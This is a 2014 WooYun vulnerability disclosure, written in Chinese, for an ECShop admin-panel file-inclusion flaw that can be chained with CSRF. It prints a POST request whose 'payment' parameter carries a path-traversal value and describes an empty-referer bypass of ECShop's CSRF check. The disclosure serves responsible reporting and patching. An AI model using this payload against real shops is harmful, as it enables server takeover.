漏洞概要
关注数(24)
关注此漏洞
漏洞标题:ecshop最新版后台文件包含+csrf利用
提交时间:2014-09-16 11:58
修复时间:2014-12-15 12:00
公开时间:2014-12-15 12:00
漏洞类型:任意文件遍历/下载
危害等级:中
自评Rank:10
漏洞状态:厂商已经确认
Tags标签:
无
漏洞详情
披露状态:
2014-09-16: 细节已通知厂商并且等待厂商处理中
2014-09-16: 厂商已经确认,细节仅向厂商公开
2014-09-19: 细节向第三方安全合作伙伴开放
2014-11-10: 细节向核心白帽子及相关领域专家公开
2014-11-20: 细节向普通白帽子公开
2014-11-30: 细节向实习白帽子公开
2014-12-15: 细节向公众公开
简要描述:
文件包含,需要截断
详细说明:
看到这个漏洞给中危了还就看了下。 WooYun: ECSHOP跨站+后台文件包含=Getshell
只测试了2.7.3一个版本和最新的2.7.4 beta1
代码:admin/index.php 644行
直接拼接到了include_once中,因为这里利用需要截断,要根据不同的环境处理。这里采用自己根目录写一个文件phpinfo.php文件进行包含测试。
post地址:/ecshop2.7.4/admin/index.php?act=second
post参数:area_name=wbjewbvk&payment=../../../phpinf&shipping=city_express&shipping_city=San%20Francisco&shipping_country=1&shipping_district=1&shipping_province=2&shop_address=3137%20Laguna%20Street&shop_city=52&shop_country=1&shop_name=ECSHOP&shop_province=2&shop_title=ECSHOP%e6%bc%94%e7%a4%ba%e7%ab%99
payment参数存在问题。
可以结合csrf利用。csrf导致文件包含getshell。写文件的思路就不赘述了。这里测试发现ecshop是对csrf有一定防御的。判断了referer,可惜利用空referer可以绕过。构造空referer参考http://zone.wooyun.org/content/744
这里只给一个手动测试的demo。
漏洞证明:
修复方案:
版权声明:转载请注明来源 D&G@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:5
确认时间:2014-09-16 13:41
厂商回复:
非常感谢您为shopex信息安全做的贡献
我们将尽快修复
非常感谢
最新状态:
暂无
漏洞评价:
评论